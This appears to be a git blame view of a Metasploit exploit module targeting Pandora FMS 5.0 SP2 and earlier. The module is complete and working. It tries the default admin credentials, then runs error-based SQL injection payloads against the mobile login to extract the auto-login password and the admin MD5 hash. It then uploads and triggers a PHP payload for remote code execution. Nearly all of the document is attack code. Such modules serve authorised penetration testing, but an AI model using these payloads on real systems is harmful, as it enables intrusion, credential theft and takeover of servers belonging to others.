2014-02-12 17:02:33 +00:00
|
|
|
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
2014-03-04 19:49:31 +00:00
|
|
|
'Name' => 'Pandora FMS SQLi Remote Code Execution',
|
2014-02-12 17:02:33 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module attempts to exploit multiple issues in order to gain remote
|
|
|
|
code execution under Pandora FMS version <= 5.0 SP2. First, an attempt
|
|
|
|
to authenticate using default credentials is performed. If this method
|
|
|
|
fails, a SQL injection vulnerability is leveraged in order to extract
|
|
|
|
the "Auto Login" password hash. If this value is not set, the module
|
|
|
|
will then extract the administrator account's MD5 password hash.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept
|
|
|
|
'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2014-11-26 03:37:04 +00:00
|
|
|
['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'],
|
|
|
|
['URL', 'http://blog.pandorafms.org/?p=2041']
|
2014-02-12 17:02:33 +00:00
|
|
|
],
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Pandora FMS version <= 5.0 SP2', {}]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 50000,
|
|
|
|
'DisableNops' => true,
|
|
|
|
},
|
|
|
|
'DisclosureDate' => "Feb 1 2014",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
|
2014-11-26 00:30:25 +00:00
|
|
|
OptString.new('USER', [false, 'The username to authenticate with', 'admin']),
|
|
|
|
OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']),
|
2014-02-12 17:02:33 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def uri
|
|
|
|
return target_uri.path
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def check
|
|
|
|
# Check version
|
|
|
|
vprint_status("#{peer} - Trying to detect installed version")
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
2014-11-26 00:30:25 +00:00
|
|
|
'uri' => normalize_uri(uri, 'index.php')
|
2014-02-12 17:02:33 +00:00
|
|
|
})
|
|
|
|
|
2014-02-17 15:13:18 +00:00
|
|
|
if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/ && res.body =~ /(?<=xx-small;">v)(.*?)(?=<\/td>)/
|
2014-02-12 17:02:33 +00:00
|
|
|
version = $1
|
|
|
|
vprint_status("#{peer} - Pandora FMS version #{version} detected")
|
|
|
|
else
|
|
|
|
vprint_status("#{peer} - Unable to access Pandora FMS")
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
2014-11-26 00:30:25 +00:00
|
|
|
if version && version <= '4.1.1'
|
2014-02-12 17:02:33 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def authenticate
|
|
|
|
print_status("#{peer} - Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})")
|
|
|
|
# Attempt to login with default credentials (admin:pandora)
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
2014-11-26 00:30:25 +00:00
|
|
|
'uri' => normalize_uri(uri, 'index.php'),
|
2014-02-12 17:02:33 +00:00
|
|
|
'vars_get' => {
|
|
|
|
'login' => "1",
|
|
|
|
},
|
|
|
|
'vars_post' => {
|
|
|
|
'nick' => datastore['USER'],
|
|
|
|
'pass' => datastore['PASS'],
|
2014-11-26 00:30:25 +00:00
|
|
|
'Login' => 'Login',
|
2014-02-12 17:02:33 +00:00
|
|
|
}
|
|
|
|
})
|
|
|
|
|
2014-03-04 20:24:00 +00:00
|
|
|
return auth_succeeded?(res)
|
2014-02-12 17:02:33 +00:00
|
|
|
end
|
|
|
|
|
2014-11-26 00:26:41 +00:00
|
|
|
def login_hash
|
2014-02-12 17:02:33 +00:00
|
|
|
print_status("#{peer} - Attempting to extract auto login hash")
|
|
|
|
# Generate random string and convert to hex
|
|
|
|
sqlq = rand_text_alpha(8)
|
|
|
|
sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join
|
|
|
|
# select value from tconfig where token = 'loginhash_pwd';
|
|
|
|
sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST"
|
|
|
|
sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
|
|
|
|
sqli << "LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
|
|
|
|
sqli << "BY x)a) AND 'msf'='msf"
|
|
|
|
|
2014-03-04 19:49:31 +00:00
|
|
|
password = inject_sql(sqli, sqlq)
|
2014-02-12 17:02:33 +00:00
|
|
|
|
2014-03-04 19:49:31 +00:00
|
|
|
if password && password.length != 0
|
|
|
|
print_status("#{peer} - Extracted auto login password (#{password})")
|
2014-02-12 17:02:33 +00:00
|
|
|
else
|
2014-03-04 19:49:31 +00:00
|
|
|
print_error("#{peer} - No auto login password has been defined!")
|
2014-02-12 17:02:33 +00:00
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("#{peer} - Attempting to authenticate using (admin:#{password})")
|
|
|
|
# Attempt to login using login hash password
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
2014-11-26 00:30:25 +00:00
|
|
|
'uri' => normalize_uri(uri, 'index.php'),
|
2014-02-12 17:02:33 +00:00
|
|
|
'vars_get' => {
|
2014-11-26 00:30:25 +00:00
|
|
|
'loginhash' => 'auto',
|
2014-02-12 17:02:33 +00:00
|
|
|
},
|
|
|
|
'vars_post' => {
|
|
|
|
'loginhash_data' => Rex::Text.md5("admin#{password}"),
|
2014-11-26 00:30:25 +00:00
|
|
|
'loginhash_user' => 'admin',
|
2014-02-12 17:02:33 +00:00
|
|
|
}
|
|
|
|
})
|
|
|
|
|
2014-03-04 20:24:00 +00:00
|
|
|
return auth_succeeded?(res)
|
2014-03-04 20:00:02 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
2014-03-04 20:24:00 +00:00
|
|
|
def auth_succeeded?(res)
|
2014-11-26 00:26:41 +00:00
|
|
|
if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
|
2014-02-12 17:02:33 +00:00
|
|
|
print_status("#{peer} - Successfully authenticated!")
|
|
|
|
print_status("#{peer} - Attempting to retrieve session cookie")
|
2014-03-04 20:00:02 +00:00
|
|
|
@cookie = res.get_cookies
|
2014-11-26 00:30:25 +00:00
|
|
|
if @cookie.include?('PHPSESSID')
|
2014-03-04 20:00:02 +00:00
|
|
|
print_status("#{peer} - Successfully retrieved session cookie: #{@cookie}")
|
2014-02-12 17:02:33 +00:00
|
|
|
return true
|
|
|
|
else
|
|
|
|
print_error("#{peer} - Error retrieving cookie!")
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_error("#{peer} - Authentication failed!")
|
|
|
|
end
|
|
|
|
|
2014-11-26 00:26:41 +00:00
|
|
|
false
|
2014-02-12 17:02:33 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def extract
|
|
|
|
print_status("#{peer} - Attempting to extract admin password hash")
|
|
|
|
# Generate random string and convert to hex
|
|
|
|
sqlq = rand_text_alpha(8)
|
|
|
|
sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join
|
|
|
|
# select password from tusuario where id_user = 0;
|
|
|
|
sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL"
|
|
|
|
sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"
|
|
|
|
sqli << ",0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
|
|
|
|
sqli << "x)a) AND 'msf'='msf"
|
|
|
|
|
2014-03-04 19:49:31 +00:00
|
|
|
password = inject_sql(sqli, sqlq)
|
|
|
|
|
|
|
|
if password && password.length != 0
|
2014-03-04 21:08:47 +00:00
|
|
|
print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]")
|
2014-03-04 19:49:31 +00:00
|
|
|
else
|
|
|
|
print_error("#{peer} - Unable to extract password hash!")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def inject_sql(sql, fence_post)
|
2014-02-12 17:02:33 +00:00
|
|
|
# Extract password hash from database
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
2014-11-26 00:30:25 +00:00
|
|
|
'uri' => normalize_uri(uri, 'mobile', 'index.php'),
|
2014-02-12 17:02:33 +00:00
|
|
|
'vars_post' => {
|
2014-11-26 00:30:25 +00:00
|
|
|
'action' => 'login',
|
2014-03-04 19:49:31 +00:00
|
|
|
'user' => sql,
|
2014-02-12 17:02:33 +00:00
|
|
|
'password' => 'pass',
|
|
|
|
'input' => 'Login'
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
2014-03-04 19:49:31 +00:00
|
|
|
result = nil
|
|
|
|
if res && res.code == 200
|
|
|
|
match = res.body.match(/(?<=#{fence_post})(.*)(?=#{fence_post})/)
|
|
|
|
if match
|
|
|
|
result = match[1]
|
|
|
|
else
|
|
|
|
print_error("#{peer} - SQL injection failed")
|
2014-02-12 17:02:33 +00:00
|
|
|
end
|
|
|
|
end
|
2014-03-04 19:49:31 +00:00
|
|
|
result
|
2014-02-12 17:02:33 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def upload
|
|
|
|
# Extract hash and hash2 from response
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
2014-03-04 20:00:02 +00:00
|
|
|
'cookie' => @cookie,
|
2014-11-26 00:30:25 +00:00
|
|
|
'uri' => normalize_uri(uri, 'index.php'),
|
2014-02-12 17:02:33 +00:00
|
|
|
'vars_get' => {
|
|
|
|
'sec' => 'gsetup',
|
|
|
|
'sec2' => 'godmode/setup/file_manager'
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
if res && res.code == 200 && res.body =~ /(?<=input type="submit" id="submit-go")(.*)(?=<input id="hidden-directory" name="directory" type="hidden")/
|
|
|
|
form = $1
|
|
|
|
|
|
|
|
# Extract hash
|
|
|
|
if form =~ /(?<=name="hash" type="hidden" value=")(.*?)(?=" \/>)/
|
|
|
|
hash = $1
|
|
|
|
else
|
|
|
|
print_error("#{peer} - Could not extract hash from response!")
|
|
|
|
print_error("#{peer} - Upload will fail!")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
# Extract hash2
|
|
|
|
if form =~ /(?<=name="hash2" type="hidden" value=")(.*?)(?=" \/>)/
|
|
|
|
hash2 = $1
|
|
|
|
else
|
|
|
|
print_error("#{peer} - Could not extract hash2 from response!")
|
|
|
|
print_error("#{peer} - Upload will fail!")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
|
|
|
|
# Extract real_directory
|
|
|
|
if form =~ /(?<=name="real_directory" type="hidden" value=")(.*?)(" \/>)/
|
|
|
|
real_directory = $1
|
|
|
|
else
|
|
|
|
print_error("#{peer} - Could not extract real_directory from response!")
|
|
|
|
print_error("#{peer} - Upload will fail!")
|
|
|
|
return false
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_error("#{peer} - Could not identify upload form!")
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
# Upload script
|
|
|
|
@payload_name = "#{rand_text_alpha(8)}.php"
|
|
|
|
post_data = Rex::MIME::Message.new
|
|
|
|
post_data.add_part("<?php #{payload.encoded} ?>", 'text/plain', nil, %Q^form-data; name="file"; filename="#{@payload_name}"^)
|
|
|
|
post_data.add_part('', nil, nil, 'form-data; name="unmask"')
|
|
|
|
post_data.add_part('Go', nil, nil, 'form-data; name="go"')
|
|
|
|
post_data.add_part(real_directory, nil, nil, 'form-data; name="real_directory"')
|
|
|
|
post_data.add_part('images', nil, nil, 'form-data; name="directory"')
|
|
|
|
post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"')
|
|
|
|
post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"')
|
|
|
|
post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"')
|
|
|
|
|
2014-11-26 03:54:50 +00:00
|
|
|
print_status("#{peer} - Attempting to upload payload #{@payload_name}...")
|
2014-02-12 17:02:33 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
2014-03-04 20:00:02 +00:00
|
|
|
'cookie' => @cookie,
|
2014-11-26 00:26:41 +00:00
|
|
|
'uri' => normalize_uri(uri, 'index.php'),
|
2014-02-12 17:02:33 +00:00
|
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
2014-11-26 03:54:50 +00:00
|
|
|
'data' => post_data.to_s,
|
2014-02-12 17:02:33 +00:00
|
|
|
'vars_get' => {
|
|
|
|
'sec' => 'gsetup',
|
|
|
|
'sec2' => 'godmode/setup/file_manager'
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
2014-03-04 19:49:31 +00:00
|
|
|
if res && res.code == 200 && res.body.include?("Upload correct")
|
2014-11-26 04:00:42 +00:00
|
|
|
register_file_for_cleanup(@payload_name)
|
2014-03-04 20:40:36 +00:00
|
|
|
print_status("#{peer} - Successfully uploaded payload")
|
2014-02-12 17:02:33 +00:00
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
|
|
|
|
end
|
|
|
|
|
|
|
|
# Trigger Payload
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
2014-11-26 00:30:25 +00:00
|
|
|
'uri' => normalize_uri(uri, 'images', @payload_name),
|
2014-03-04 20:00:02 +00:00
|
|
|
'cookie' => @cookie
|
2014-11-26 00:26:41 +00:00
|
|
|
}, 1)
|
2014-02-12 17:02:33 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
# First try to authenticate using default or user-supplied credentials
|
|
|
|
if authenticate
|
|
|
|
upload
|
2014-11-26 00:26:41 +00:00
|
|
|
# If default credentials fail, try to extract loginhash via SQLi
|
|
|
|
elsif login_hash
|
2014-02-12 17:02:33 +00:00
|
|
|
upload
|
2014-03-04 20:40:36 +00:00
|
|
|
extract
|
2014-11-26 00:26:41 +00:00
|
|
|
# In the worst case, try to extract password hash
|
2014-02-12 17:02:33 +00:00
|
|
|
else
|
2014-03-04 20:40:36 +00:00
|
|
|
@rce_failed = true
|
2014-02-12 17:02:33 +00:00
|
|
|
extract
|
2014-03-04 20:40:36 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to perform remote code execution!")
|
2014-02-12 17:02:33 +00:00
|
|
|
end
|
|
|
|
end
|
2014-02-17 15:13:18 +00:00
|
|
|
end
|